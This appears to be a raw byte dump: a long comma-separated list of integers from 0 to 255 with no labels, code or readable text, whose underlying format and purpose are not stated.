00,52,12,60,185,147,30,2,154,45,170,211,9,242,150,64,115,22,33,215,108,18,84,54,5,128,192,6,15,11,89,251,145,195,189,227,93,201,78,167,234,137,48,165,112,114,165,128,103,184,130,227,141,100,213,232,193,113,41,214,112,200,26,198,104,221,78,192,174,95,197,249,208,55,37,206,7,186,114,19,182,126,30,189,223,164,139,181,61,11,154,126,6,248,65,90,149,90,201,65,139,129,30,197,214,77,205,135,161,173,168,143,83,70,160,18,68,213,244,167,184,22,2,105,191,2,140,101,190,147,158,180,50,132,220,9,189,182,119,68,53,208,81,128,183,174,78,230,78,174,86,102,153,25,3,204,169,0,140,10,138,15,35,31,33,246,8,237,73,225,181,116,124,196,175,27,254,129,52,238,13,146,125,61,219,191,210,180,193,123,111,84,192,114,33,107,228,37,55,140,156,222,186,146,151,189,103,152,78,24,210,163,112,152,96,167,228,74,236,81,61,254,211,80,157,186,66,44,163,95,157,142,203,55,199,1,172,33,199,237,244,167,208,125,65,220,120,215,106,167,66,143,170,42,182,46,250,191,48,206,196,41,205,18,86,67,23,221,198,166,225,194,220,39,109,11,171,42,80,86,230,210,49,172,191,163,224,162,154,233,178,217,26,242,50,22,125,41,63,19,171,221,76,79,162,244,249,97,136,173,157,174,24,198,24,49,194,123,243,227,27,97,180,226,17,255,162,235,77,186,225,8,118,228,74,208,87,176,30,192,238,37,65,96,222,204,234,199,181,178,119,104,101,111,28,38,104,188,158,52,153,169,193,40,239,149,12,203,174,5,240,75,191,123,31,74,141,4,145,57,233,98,128,164,147,27,7,237,12,198,56,228,99,54,63,51,91,164,5,255,98,68,164,1,206,15,64,141,44,39,123,161,107,154,81,146,97,82,46,2,6,250,234,103,76,208,253,244,222,12,94,247,140,28,129,25,175,91,50,18,145,154,161,157,16,207,126,3,253,4,250,54,32,128,178,222,38,209,65,211,161,51,208,99,31,2,59,160,158,235,152,202,36,165,49,145,71,145,199,39,135,115,108,53,204,166,68,233,98,11,191,159,11,247,113,90,34,128,204,65,91,0,212,169,216,194,244,78,179,192,52,120,103,54,194,134,233,52,115,34,37,19,145,227,103,200,225,152,198,62,55,156,67,173,249,16,101,107,208,100,251,231,47,85,149,97,245,192,99,181,22,204,252,65,26,49,114,188,119,50,188,7,233,78,99,130,156,191,61,198,99,234,32,24,139,192,23,76,200,31,220,46,8,49,5,42,3,33,207,16,17,115,142,86,223,232,33,245,205,248,146,235,210,213,25,92,151,162,227,185,46,157,188,36,161,142,103,142,49,93,210,80,2,70,64,243,225,135,137,42,25,67,211,161,161,121,91,67,243,114,70,2,26,79,2,154,92,142,198,73,27,186,19,241,60,248,5,199,243,214,24,142,231,39,26,158,197,99,208,170,134,65,84,99,201,242,232,3,3,6,125,132,77,85,125,13,225,44,181,124,169,205,37,47,225,216,235,251,238,212,131,69,117,160,105,236,67,155,156,223,202,155,158,212,2,118,81,4,125,82,124,91,33,30,183,156,180,131,151,202,65,167,87,209,47,123,250,21,5,115,233,215,97,168,171,162,31,250,108,89,245,31,48,30,106,134,168,143,110,59,134,198,175,207,187,7,152,169,122,194,84,145,4,129,9,170,1,18,116,23,212,0,195,65,84,136,234,18,232,20,244,33,254,152,170,109,240,244,32,252,216,233,10,246,251,103,132,172,134,0,67,40,195,231,99,218,145,180,157,244,87,154,238,60,62,142,223,151,152,81,235,167,213,78,118,223,85,45,37,33,197,155,163,170,234,176,211,39,255,5,141,221,99,224,247,118,135,195,149,9,109,120,16,218,80,61,7,59,35,207,86,211,77,144,227,136,223,229,194,157,75,87,78,191,115,161,169,7,239,23,97,238,28,234,51,140,99,2,162,171,242,240,218,71,107,242,52,157,37,58,240,127,90,84,50,12,28,154,241,61,81,23,31,113,29,39,54,147,147,110,198,50,163,9,56,88,147,190,2,5,193,50,60,18,242,168,13,50,113,140,176,76,20,156,20,130,43,12,66,150,230,241,0,177,10,134,217,241,21,17,73,131,34,115,69,208,146,76,58,23,128,228,20,210,12,186,79,46,161,243,242,88,20,11,24,33,198,229,101,7,163,73,136,122,69,43,58,18,59,125,229,51,208,124,135,72,34,222,198,36,210,62,143,230,67,57,181,70,4,234,218,233,72,214,52,160,202,224,164,31,129,1,135,161,76,170,147,214,67,137,74,45,174,78,68,89,96,167,243,98,200,102,32,170,240,117,131,168,130,215,13,162,2,154,53,84,55,158,139,202,133,195,95,59,133,193,187,160,5,237,46,22,239,80,145,229,136,9,33,63,113,138,196,168,63,68,47,191,142,47,0,85,72,250,102,135,156,74,43,225,30,90,173,171,21,121,224,143,60,199,209,118,50,189,236,58,62,250,138,45,211,49,147,9,52,253,72,240,222,7,108,188,158,62,11,202,111,119,0,181,207,195,120,57,97,222,224,60,64,103,12,240,39,9,128,222,113,16,141,122,239,18,133,224,96,149,111,77,210,102,173,136,46,62,109,1,184,74,69,250,42,60,145,83,65,90,200,32,186,121,18,142,180,153,180,102,137,9,53,51,5,34,162,196,240,79,195,200,248,122,53,93,0,157,12,90,252,204,25,177,176,142,28,182,156,148,171,162,114,30,237,4,122,124,254,85,247,56,28,160,161,45,112,227,245,39,217,85,139,43,9,84,253,104,33,58,1,253,73,48,14,179,174,229,222,166,147,190,129,13,176,70,29,229,46,85,205,115,9,213,61,48,242,224,160,229,104,216,63,19,153,216,236,244,26,61,183,230,27,176,100,11,149,175,101,177,26,31,177,196,84,96,36,93,113,45,139,143,144,201,183,10,238,49,192,160,107,147,88,160,118,104,34,234,166,122,19,244,168,8,224,78,208,199,50,102,206,162,213,243,231,64,223,159,147,196,141,151,145,207,152,208,241,124,2,111,239,224,228,108,157,68,14,3,218,48,78,10,180,128,183,252,18,19,105,138,93,7,154,176,17,43,209,15,86,18,159,154,181,236,45,164,243,25,5,128,140,219,57,220,204,163,248,4,180,12,206,106,188,113,65,197,223,144,211,116,209,39,154,149,192,103,213,170,14,173,211,141,106,186,136,182,142,229,97,248,185,79,207,23,171,246,106,106,84,151,160,27,54,157,166,27,101,223,13,81,34,220,58,146,135,226,107,5,218,78,117,142,245,23,12,17,170,52,40,212,250,62,180,91,24,31,42,190,8,34,57,94,189,185,152,109,243,232,194,41,48,36,14,179,21,148,75,129,158,133,160,164,205,78,125,130,22,255,79,72,100,90,153,3,253,242,113,59,98,131,135,255,22,152,60,2,80,30,25,93,166,49,122,215,4,222,61,33,2,163,127,24,82,62,166,203,18,221,56,129,233,178,134,40,52,68,84,18,173,229,165,170,206,19,213,165,170,38,170,139,48,145,166,15,43,102,15,246,102,250,197,53,113,113,161,205,213,196,133,12,25,30,211,242,2,228,8,228,120,244,112,141,113,73,51,93,65,50,172,39,105,130,48,132,181,209,68,214,106,93,14,232,37,199,57,58,232,25,153,108,168,130,55,192,133,130,107,216,112,71,78,65,214,98,239,104,74,232,241,64,254,241,4,69,190,71,101,17,194,43,215,196,21,185,43,65,145,25,151,232,202,107,132,193,25,202,243,48,76,230,24,90,174,142,99,56,56,180,43,112,82,145,185,46,29,103,238,159,81,187,225,254,210,107,18,153,203,225,232,70,124,216,52,56,211,53,25,12,65,0,226,53,135,236,137,122,179,4,217,26,161,141,71,112,110,191,211,5,131,164,134,35,168,215,38,165,174,245,189,173,160,76,174,225,149,39,94,119,9,155,137,39,186,4,34,0,247,37,180,25,0,92,185,47,86,158,58,189,126,102,122,235,58,241,138,89,249,3,43,122,96,60,81,222,36,90,4,250,39,208,152,114,234,59,194,230,43,43,227,193,25,72,43,13,57,191,1,56,106,239,77,114,49,93,192,245,65,144,73,172,135,99,86,247,208,172,114,80,13,27,12,193,171,162,116,81,20,227,137,105,22,247,50,135,131,153,173,30,230,121,45,213,2,235,4,233,157,204,108,1,51,114,174,198,94,234,2,94,123,192,114,149,67,206,251,12,242,198,184,217,234,140,153,45,145,243,205,78,239,98,243,75,81,122,56,151,153,173,3,185,9,102,11,244,131,153,108,108,135,19,89,122,90,211,47,3,211,47,58,62,151,107,71,42,207,38,198,184,207,188,4,40,169,68,69,186,137,203,16,122,249,5,245,230,114,144,250,88,160,49,134,241,238,220,11,138,30,45,96,169,137,54,157,86,113,102,100,113,207,223,32,193,7,26,228,48,140,118,174,254,235,178,163,78,116,131,81,178,210,172,60,38,97,200,254,109,4,218,85,100,38,237,56,137,97,141,186,68,59,253,23,102,233,19,115,58,32,199,161,174,52,1,252,223,35,140,33,78,90,123,90,155,77,77,176,220,96,63,92,73,118,36,225,55,145,68,149,2,56,120,170,46,23,213,60,124,88,63,228,33,155,144,112,224,76,224,113,92,76,197,74,35,46,137,97,89,192,1,247,114,7,206,177,200,80,7,159,185,192,53,150,161,152,18,140,133,9,184,5,160,202,108,147,230,247,13,8,122,19,60,57,121,22,131,54,120,64,79,159,194,184,157,4,99,45,192,41,45,157,197,47,23,138,114,161,36,23,26,228,66,147,92,104,198,149,4,198,218,80,74,39,206,32,128,203,61,120,85,194,30,29,78,22,116,54,98,82,111,240,54,138,116,255,231,32,84,32,79,164,183,68,121,175,219,12,240,139,249,116,18,67,193,157,251,133,202,110,140,151,77,210,202,86,199,202,50,10,186,53,10,230,197,41,8,233,186,7,81,50,24,202,96,36,58,233,42,190,171,136,83,89,17,171,41,137,8,184,98,125,49,140,73,189,141,18,205,214,106,148,232,134,179,188,198,147,87,198,169,165,26,106,73,8,198,151,91,131,241,213,214,96,108,209,149,15,169,89,76,42,65,208,202,240,235,86,63,42,10,198,141,254,117,197,144,165,46,79,70,169,14,3,55,243,45,112,95,41,53,208,85,223,162,227,137,208,49,167,112,68,194,112,10,179,192,41,5,12,61,41,167,112,137,81,152,197,235,54,8,222,187,76,88,23,174,227,6,47,48,67,199,215,119,47,200,206,226,163,49,118,254,229,12,111,220,152,193,198,153,102,13,229,27,187,7,208,147,57,9,210,229,90,141,40,56,0,189,83,147,75,71,78,220,146,242,149,228,96,194,154,114,48,190,168,28,140,173,45,7,227,139,203,193,216,26,115,48,190,200,28,140,173,53,7,227,139,205,193,216,154,51,31,172,225,2,133,247,222,62,193,232,244,171,143,192,144,148,134,172,20,198,135,130,241,34,107,152,126,26,101,14,225,34,180,16,54,74,191,61,203,186,230,222,248,106,181,198,27,224,24,155,196,132,156,193,142,57,132,149,37,188,98,190,172,29,36,133,34,171,252,104,132,251,132,227,161,153,57,134,91,161,82,39,80,161,204,201,49,89,84,181,38,67,126,60,39,195,120,209,204,156,76,186,0,235,199,213,159,57,57,102,250,32,220,76,91,101,170,89,174,44,150,156,202,204,156,137,164,197,78,119,254,19,165,143,143,109,72,242,156,156,92,186,46,27,135,238,218,243,23,224,57,34,86,151,155,232,240,24,196,178,68,136,154,56,132,65,93,46,209,221,103,53,160,194,108,182,100,98,90,241,11,12,43,176,6,253,89,14,73,191,56,19,179,84,228,115,173,35,57,67,41,118,38,109,137,15,139,45,159,130,235,80,229,85,146,188,202,36,175,50,160,22,132,199,227,140,50,132,254,108,223,5,174,144,184,146,67,122,44,165,204,150,188,75,33,190,88,106,18,22,200,69,102,185,200,64,127,209,5,117,89,13,118,101,182,72,111,139,96,218,4,105,137,158,248,148,85,77,108,6,185,40,131,190,12,40,189,247,26,192,179,153,120,181,187,63,209,12,80,85,99,134,112,161,62,4,227,63,153,247,31,3,246,31,147,157,10,223,104,253,231,150,111,120,255,57,124,34,222,127,22,104,253,167,233,4,246,159,5,231,246,31,220,68,64,110,19,123,70,143,231,211,100,231,245,150,140,207,160,183,128,201,183,99,228,240,74,132,85,36,210,251,250,185,231,251,116,28,143,207,62,26,135,179,193,49,111,19,219,156,240,105,63,179,196,193,248,238,132,96,108,147,66,48,190,75,33,24,219,172,112,161,94,252,40,7,120,116,80,245,226,251,24,130,177,237,12,193,248,126,134,96,108,91,67,48,190,175,33,24,219,222,16,212,102,132,185,47,192,246,165,66,61,69,48,150,37,204,228,57,232,117,221,204,44,128,128,94,58,201,123,115,18,54,46,149,180,147,153,41,146,92,100,130,228,204,20,144,153,129,164,170,238,20,147,82,108,230,19,229,79,134,145,41,179,205,212,31,230,220,95,248,141,182,156,170,177,195,28,74,121,1,217,81,4,249,104,131,223,202,138,217,96,139,63,164,195,71,204,181,152,229,194,140,11,177,97,72,87,135,174,12,253,12,250,249,21,177,126,158,23,225,29,220,28,73,232,224,184,117,67,219,184,17,60,103,35,199,80,187,12,206,23,116,8,220,249,238,175,53,209,158,249,154,183,98,227,113,77,135,134,214,95,40,217,213,71,12,156,6,232,94,140,32,36,99,121,132,153,155,108,126,249,245,41,78,212,19,167,18,136,218,198,137,218,201,52,82,234,153,124,28,53,114,91,140,54,150,13,78,5,149,51,248,189,205,30,23,107,246,52,173,134,203,18,107,104,230,53,248,121,179,135,236,71,9,94,160,25,34,199,153,150,208,140,223,159,98,244,7,249,229,224,73,94,201,206,147,241,74,152,87,232,224,118,130,118,95,158,232,77,121,40,82,44,42,184,204,110,224,80,118,58,147,105,147,129,110,191,92,243,13,146,240,189,198,251,202,88,235,198,243,250,231,107,245,79,61,153,208,200,206,243,140,119,167,102,188,121,52,160,209,54,51,145,182,33,45,87,31,201,226,13,31,134,91,0,30,201,196,26,213,71,50,212,71,204,234,35,38,16,174,157,211,67,95,62,201,136,216,193,47,79,243,203,58,126,169,231,151,159,241,203,181,252,242,32,191,252,230,91,78,245,147,223,198,169,190,16,123,186,25,123,174,100,64,38,180,134,184,103,209,140,123,22,113,231,162,153,88,51,229,226,12,98,205,146,139,51,137,21,87,69,233,35,151,105,44,204,210,16,194,64,196,123,167,40,84,197,119,15,105,109,213,248,138,252,176,82,29,19,111,132,181,178,70,82,107,68,154,126,12,6,75,224,17,138,243,236,74,241,68,187,90,147,171,20,103,169,53,57,64,52,100,100,66,70,134,90,99,198,101,194,26,3,253,229,183,172,81,27,248,69,230,151,39,249,229,37,126,217,200,47,63,225,151,101,252,178,154,95,126,202,47,235,251,57,79,30,234,103,60,137,217,74,240,57,97,38,175,60,250,92,38,174,220,200,171,242,72,233,68,186,54,19,29,205,68,82,154,69,31,103,201,44,82,154,73,31,97,201,76,232,165,75,22,247,124,251,21,139,227,19,99,17,68,69,79,124,197,24,202,22,152,47,192,80,197,154,101,167,219,78,160,59,202,129,82,89,116,243,9,132,207,85,74,39,202,197,57,196,10,191,185,138,53,207,78,159,98,48,147,1,38,143,174,62,193,38,4,104,61,226,182,101,81,138,123,10,109,57,222,123,179,4,218,197,210,121,222,123,115,4,218,193,210,147,189,247,230,9,124,223,33,10,43,239,66,22,68,235,122,35,18,186,222,164,126,198,169,18,126,169,60,193,25,118,243,137,161,93,47,162,169,247,189,99,127,168,235,69,152,110,237,253,134,119,189,105,99,135,116,61,45,116,113,146,211,16,187,152,82,5,156,209,5,114,100,119,142,25,99,150,140,105,181,6,136,80,150,136,142,88,124,49,250,31,177,8,101,203,9,45,180,248,226,82,92,230,208,158,159,60,56,24,161,84,199,32,246,36,66,28,60,56,36,66,185,52,6,244,10,0,21,231,215,26,6,35,148,187,190,209,34,148,153,223,156,23,161,132,82,132,18,22,142,242,72,225,217,67,16,160,248,113,135,14,238,211,145,206,11,77,17,152,158,110,99,206,140,151,184,243,144,54,52,50,13,50,194,123,79,78,22,118,22,45,150,203,73,198,88,206,162,34,39,242,166,173,50,212,204,199,48,203,204,92,195,211,26,31,38,210,215,190,97,13,48,209,79,198,128,24,238,201,49,9,0,148,233,100,80,247,255,131,181,32,23,134,118,244,14,14,151,73,223,225,112,153,24,143,25,86,108,229,173,157,72,87,30,231,176,124,47,215,185,173,149,18,91,219,254,143,31,110,45,2,211,121,137,173,125,249,31,231,181,118,122,76,236,121,250,4,177,79,198,198,78,77,20,187,9,133,246,236,126,70,92,158,154,71,159,229,116,26,232,18,168,0,1,50,17,224,145,253,56,5,42,34,140,157,110,224,32,25,116,186,6,146,139,32,165,12,68,226,32,63,225,32,57,116,76,27,238,241,28,20,251,100,234,10,243,186,168,45,124,1,70,152,144,17,197,34,110,123,42,119,146,71,163,15,124,106,208,119,178,13,187,108,211,254,190,15,98,27,118,23,158,203,33,8,82,25,135,102,139,33,61,98,161,191,109,101,248,17,149,131,44,143,58,207,89,179,121,226,131,248,154,13,11,65,7,89,183,8,196,87,146,160,40,115,46,26,84,148,5,160,40,198,53,111,96,103,94,44,50,125,193,182,255,166,141,171,203,124,234,14,107,234,242,199,75,6,213,37,203,137,11,29,63,109,99,13,183,163,182,76,228,96,89,116,29,7,203,66,176,60,6,54,47,14,38,209,100,14,150,71,239,226,96,121,8,86,192,192,38,196,193,12,244,147,175,25,88,1,253,49,7,43,96,186,103,124,114,145,202,173,63,18,118,226,24,135,167,135,142,93,128,237,25,137,250,119,234,192,15,235,31,2,211,239,246,37,232,223,223,15,36,234,95,125,95,14,78,57,41,214,254,144,181,95,194,153,30,53,189,115,70,161,160,166,119,20,22,10,19,172,17,203,129,93,20,180,242,212,113,18,86,211,155,113,229,8,95,107,85,148,174,239,84,181,12,128,187,217,36,49,222,177,141,29,155,191,98,205,240,222,219,45,96,120,206,236,105,87,186,192,86,95,187,192,160,30,165,255,60,198,44,233,41,126,145,142,241,37,188,190,175,120,232,158,51,154,207,86,237,141,239,141,13,198,182,200,158,63,192,27,59,100,128,167,20,155,96,128,103,182,27,119,20,67,176,80,35,225,248,14,213,32,151,18,94,215,82,126,57,251,21,187,212,28,195,81,95,38,142,250,204,241,49,91,99,123,204,166,58,143,105,198,240,217,244,132,49,221,111,219,7,109,170,57,6,177,60,17,98,117,251,16,155,218,244,149,6,52,59,157,141,250,50,7,109,234,136,175,52,155,26,238,187,128,148,115,153,148,205,92,102,183,236,71,41,131,64,193,97,66,224,1,14,115,113,207,7,31,114,79,11,150,131,73,123,174,24,74,197,66,244,126,134,206,160,204,53,201,179,164,101,224,116,151,201,179,96,76,102,182,211,185,125,232,60,51,0,214,76,107,247,34,195,205,244,47,102,109,22,220,44,208,55,204,56,234,147,224,62,131,215,219,212,17,155,206,207,226,84,229,113,221,163,117,230,33,175,126,13,137,26,37,111,64,4,39,138,147,228,101,49,47,58,140,243,252,179,62,118,25,213,199,189,232,169,222,196,80,172,140,55,133,141,233,66,169,88,19,174,46,208,225,95,160,72,230,138,244,215,61,92,69,116,26,197,247,73,2,253,118,148,182,40,17,143,95,97,56,134,84,120,36,59,41,17,145,166,50,30,196,142,138,5,177,85,156,6,19,191,172,235,229,164,60,56,72,10,223,80,61,52,150,197,156,243,71,61,133,48,140,46,148,0,249,101,172,227,176,240,33,214,226,147,189,137,213,12,227,151,75,181,218,6,254,61,52,124,40,40,225,219,190,174,26,165,237,253,134,80,226,210,81,231,132,18,170,199,128,227,54,137,131,67,151,167,79,224,14,119,143,9,199,216,238,127,107,189,154,239,73,254,249,84,232,213,161,148,18,212,135,253,184,211,251,231,71,161,215,210,155,112,243,94,169,184,184,103,57,4,217,218,102,11,0,231,251,45,148,223,0,196,178,143,52,136,159,13,19,52,35,91,134,139,143,190,147,198,134,107,146,88,223,244,70,178,140,79,95,11,232,140,13,99,117,184,47,199,100,124,26,141,172,177,97,35,219,166,35,61,177,192,125,187,151,10,110,139,43,233,142,9,141,238,241,240,103,158,208,104,244,253,11,23,118,15,209,13,159,170,106,207,33,36,231,48,166,90,49,53,186,27,82,248,142,118,153,242,12,163,116,41,100,84,246,108,227,37,230,34,220,102,172,139,14,119,255,136,99,101,24,55,240,231,119,252,19,158,55,240,244,167,152,126,148,167,115,63,129,244,131,60,61,14,243,239,100,56,46,118,47,226,56,102,193,223,52,248,155,0,184,26,202,225,25,164,71,33,222,169,144,118,208,171,251,4,161,231,90,94,252,157,35,80,124,28,82,86,221,5,169,75,48,245,227,67,240,28,87,171,33,122,47,163,75,241,78,197,41,239,135,16,226,91,84,255,50,250,229,99,144,219,195,248,146,103,124,26,151,171,220,43,188,116,188,251,110,78,65,25,252,205,128,191,137,240,119,9,214,140,27,90,217,238,48,250,50,0,247,252,145,89,78,206,146,247,14,3,90,58,0,102,87,253,211,100,16,69,25,157,243,60,128,60,133,21,209,180,217,144,172,23,112,181,160,140,206,132,155,222,90,7,77,254,24,74,188,51,128,142,159,163,248,188,19,50,94,135,12,47,189,193,237,240,82,189,123,14,254,220,200,137,185,10,254,198,122,169,193,61,98,66,163,103,42,52,122,5,240,172,247,58,72,108,255,8,18,87,209,177,80,188,247,10,184,191,26,19,163,99,88,203,16,235,92,220,12,113,53,46,149,164,144,54,151,78,53,45,70,99,6,182,228,25,78,107,42,60,106,141,111,178,129,104,103,109,65,18,59,46,66,80,118,32,22,220,210,209,102,167,125,184,17,11,247,251,69,202,230,227,106,80,215,8,182,118,183,27,119,122,128,13,88,200,182,12,225,54,181,179,124,91,11,238,213,163,95,27,209,110,133,217,78,50,39,130,85,67,248,172,238,48,37,225,2,73,55,248,49,239,251,88,153,86,147,231,185,216,74,78,108,90,136,117,147,206,97,108,233,67,235,41,239,183,113,35,202,58,146,188,6,219,64,127,135,155,41,126,199,48,37,14,153,77,74,69,63,159,184,152,71,116,170,93,100,225,230,162,20,190,3,232,243,110,109,190,194,251,42,43,8,182,177,231,138,20,65,51,36,218,118,230,8,41,202,240,249,61,83,188,143,153,33,18,120,31,223,248,157,109,170,159,134,139,32,158,116,48,104,114,81,46,41,148,228,162,137,161,34,118,48,68,175,25,215,4,46,233,198,245,144,12,111,68,103,244,17,44,83,100,6,225,201,214,112,126,81,174,241,201,159,178,28,147,242,88,158,186,50,215,235,55,224,18,238,95,112,142,175,104,162,229,164,55,50,222,184,246,127,146,176,207,146,36,222,133,215,222,6,152,93,82,165,177,97,60,36,242,3,198,181,239,176,62,253,52,252,78,104,114,63,84,226,165,58,247,108,246,155,139,191,70,223,115,34,46,24,161,24,194,104,29,30,19,209,226,224,196,51,58,134,158,135,112,125,89,172,4,192,24,192,29,12,0,103,157,123,202,180,135,71,71,198,30,222,204,30,226,100,115,207,100,237,97,40,254,48,139,61,196,9,252,158,75,240,161,161,146,190,21,127,168,103,15,113,250,31,173,101,207,73,61,55,19,86,70,234,149,156,212,30,200,164,181,35,113,151,152,177,225,128,158,169,20,69,3,29,238,105,194,71,139,226,216,222,214,35,54,156,167,239,217,138,79,102,196,159,252,154,61,193,69,145,158,177,96,118,105,110,252,73,61,86,89,42,170,96,152,241,169,27,111,35,151,26,215,254,57,206,64,180,57,63,97,4,221,206,126,127,196,201,154,167,231,45,253,231,136,24,170,27,89,37,56,155,222,115,173,246,208,31,127,56,134,61,196,201,196,30,147,158,9,139,190,22,127,24,101,6,31,231,36,123,78,36,241,146,107,226,15,63,101,15,113,222,190,231,144,246,240,254,248,195,70,246,16,39,36,123,118,225,195,204,202,9,1,247,188,68,58,223,210,202,76,137,151,249,57,43,131,203,5,61,62,124,104,174,164,25,241,135,143,176,135,108,138,23,124,153,119,153,73,232,185,19,251,207,73,67,12,98,46,220,90,252,124,2,18,162,86,22,213,100,244,228,39,241,70,181,197,225,126,196,48,225,170,81,207,27,248,10,112,228,70,227,218,197,204,243,228,51,207,51,209,184,246,239,140,201,175,48,38,231,184,235,24,217,119,176,223,155,56,241,95,233,184,198,60,170,97,117,27,67,41,108,34,178,152,77,60,246,38,89,78,66,164,120,234,147,177,39,179,195,61,59,117,188,165,179,227,36,160,219,9,165,224,100,112,207,175,181,135,147,226,15,215,178,135,56,227,219,179,74,123,120,81,252,161,139,61,196,153,229,158,187,120,223,162,253,105,26,13,36,148,210,204,105,192,89,192,158,199,112,215,10,157,52,84,59,38,107,24,223,79,139,97,204,96,24,113,11,120,143,81,195,248,219,248,195,179,2,62,196,173,226,61,223,160,31,48,85,82,95,26,215,248,75,249,42,252,149,92,227,71,194,29,22,189,47,94,212,207,138,54,184,161,104,65,20,41,153,106,108,0,215,34,48,106,106,217,239,66,246,91,202,126,11,189,84,114,103,115,34,81,187,145,187,151,198,90,86,27,74,153,143,136,30,6,68,168,22,186,216,131,197,48,244,199,182,82,16,36,45,107,2,43,230,160,31,128,244,122,231,98,35,63,30,174,129,221,20,74,193,77,244,189,215,35,214,61,177,220,113,160,108,136,117,76,148,211,190,37,246,0,162,161,18,77,138,232,120,156,96,127,73,149,68,90,28,184,185,93,175,214,76,84,77,4,44,98,113,110,205,60,24,31,176,93,203,213,232,164,28,185,74,169,137,20,67,20,1,54,211,174,204,128,63,107,159,157,206,57,140,17,114,31,91,177,93,11,105,239,178,12,129,180,149,83,219,25,12,220,250,232,232,35,120,237,167,35,225,218,43,33,212,51,224,99,189,171,38,11,53,169,48,78,109,248,152,23,209,230,217,201,48,139,159,155,113,227,115,126,92,185,83,211,77,69,48,92,250,121,39,186,152,75,254,128,161,86,30,109,252,24,215,192,77,244,93,184,146,145,139,123,198,13,99,65,153,43,73,173,49,160,73,83,211,37,40,4,55,106,186,1,183,168,151,26,212,88,216,205,60,169,247,9,131,138,135,181,244,62,84,109,47,97,187,184,105,132,45,94,1,189,22,196,9,25,31,72,108,175,93,25,219,131,120,31,100,226,182,226,62,220,67,121,199,199,188,69,219,134,227,22,50,147,11,131,25,213,211,175,214,66,117,2,84,103,57,130,59,191,35,170,113,99,144,102,124,204,185,96,66,172,193,193,245,244,157,5,224,200,233,252,191,170,42,115,104,222,199,12,170,177,225,247,76,125,21,43,6,223,119,254,27,183,49,166,64,244,249,30,158,40,229,80,87,2,246,28,192,238,128,206,231,219,163,14,224,94,197,67,187,216,46,36,217,211,12,77,144,61,173,172,53,244,90,222,148,14,90,125,152,55,37,9,154,34,123,250,100,79,216,225,50,240,194,118,134,175,159,109,178,245,170,6,163,111,13,219,173,207,158,201,158,126,148,58,110,202,220,222,201,219,221,143,237,190,251,48,191,233,192,155,10,20,187,173,147,110,193,240,194,218,9,124,32,5,162,178,220,224,243,187,39,230,159,114,231,186,192,225,79,8,105,24,245,161,193,250,144,49,13,191,132,218,244,145,252,83,158,78,196,113,162,147,51,180,23,99,164,97,94,21,0,144,28,167,70,42,242,111,66,103,130,0,14,119,38,16,210,202,10,119,211,241,195,152,52,208,205,231,65,150,83,245,116,99,250,155,143,184,0,50,53,48,115,39,27,109,147,22,186,245,20,207,241,64,142,79,93,117,137,229,100,207,63,7,120,163,238,214,8,186,163,147,23,158,199,174,29,244,118,118,109,166,51,58,227,11,67,124,207,46,223,147,142,175,78,216,201,97,122,241,97,30,9,17,84,90,185,72,164,179,223,98,166,7,198,163,117,93,248,122,68,20,4,156,194,95,143,232,178,168,252,205,136,89,114,221,81,254,118,4,196,53,85,196,26,117,9,78,87,18,89,158,177,192,174,166,71,129,113,114,145,1,120,231,158,129,219,50,255,210,140,170,146,36,123,113,40,176,0,134,57,203,228,20,53,61,140,179,16,158,232,50,217,187,15,67,236,244,92,64,230,50,113,213,137,112,214,123,70,15,43,50,88,216,170,88,95,50,31,8,46,196,145,160,250,23,70,235,99,146,154,190,1,162,191,222,79,112,247,58,253,178,147,175,156,154,228,85,230,50,222,7,229,85,121,242,170,201,244,183,191,199,247,255,166,218,161,203,165,139,90,23,195,247,115,50,228,85,57,124,85,149,45,77,57,189,171,68,65,89,37,121,174,86,74,75,18,22,169,46,193,9,72,232,253,142,127,240,53,170,227,135,84,21,44,187,142,239,18,115,210,83,135,180,241,125,156,197,38,22,121,2,14,2,54,104,14,218,32,136,26,103,136,252,253,148,230,131,9,106,250,215,67,120,51,31,34,225,26,149,175,255,165,166,114,213,0,137,174,59,52,56,109,79,10,11,130,164,112,58,252,77,69,130,149,194,60,182,25,104,81,23,3,209,198,174,74,97,14,203,45,30,204,37,133,51,161,76,22,47,147,201,158,230,38,62,205,224,187,243,158,19,4,254,34,100,53,190,168,33,215,69,121,96,173,216,54,209,177,160,15,244,254,70,246,42,200,38,42,2,47,171,23,105,118,104,249,97,236,188,190,229,42,235,195,155,232,29,111,242,183,53,110,193,157,136,214,23,152,57,62,140,92,131,118,43,115,75,168,249,32,87,213,63,178,188,62,140,89,91,113,91,83,85,31,190,155,98,81,202,69,7,189,44,200,86,68,231,154,232,122,205,34,132,249,62,77,101,149,72,196,124,185,208,140,176,238,124,209,27,146,28,138,57,159,246,1,105,149,240,220,174,220,150,75,29,90,153,221,188,140,126,192,248,30,150,201,224,101,116,222,80,50,43,179,115,176,76,38,29,175,149,89,55,180,76,214,57,101,26,6,203,228,208,99,157,188,204,124,40,163,31,0,194,137,39,170,216,162,72,96,241,68,227,123,51,243,69,185,120,50,94,147,229,226,169,120,77,145,139,167,227,53,85,46,46,192,171,228,13,13,147,139,103,234,63,82,39,231,211,171,27,99,203,221,224,47,126,193,80,71,45,254,2,57,5,103,1,142,227,134,111,232,215,63,99,204,123,129,174,56,136,207,91,249,12,206,166,70,54,115,100,219,41,91,91,101,235,65,217,218,65,231,49,184,77,84,247,154,182,121,27,247,17,197,55,17,101,202,133,57,114,97,174,92,152,39,23,150,200,133,115,100,29,155,2,65,239,229,4,149,101,34,194,133,161,199,146,226,11,67,185,236,144,35,121,85,46,41,205,161,75,89,50,7,23,134,22,176,100,38,1,223,102,99,73,60,148,101,201,226,158,253,31,2,138,194,137,160,118,147,227,27,132,149,159,154,240,100,155,63,32,171,241,100,155,37,114,169,200,118,172,84,175,198,8,67,26,122,18,88,121,245,61,160,97,235,241,37,13,184,173,94,94,194,30,101,130,85,104,56,178,208,115,5,190,193,90,109,202,2,69,124,28,158,84,55,192,15,88,165,14,24,149,166,135,11,99,203,113,51,29,106,58,197,141,108,205,235,117,211,199,123,114,11,215,95,212,112,192,125,209,250,198,245,29,211,199,187,135,193,237,250,198,134,3,158,227,74,161,110,245,153,241,70,107,128,52,247,142,44,4,216,172,39,78,247,166,194,111,42,220,52,248,61,223,122,239,165,160,204,187,129,128,130,66,116,88,64,239,187,19,55,20,10,187,4,248,161,179,217,152,92,77,239,131,103,101,101,244,224,33,12,92,216,132,145,131,83,211,26,74,198,147,174,178,112,230,192,8,29,229,53,60,240,42,248,42,30,116,5,237,24,73,70,224,189,98,174,239,65,123,18,228,103,146,124,51,225,148,197,239,109,210,91,142,4,142,37,229,159,49,206,194,80,200,68,82,161,64,146,218,225,13,137,69,249,159,172,8,227,139,198,36,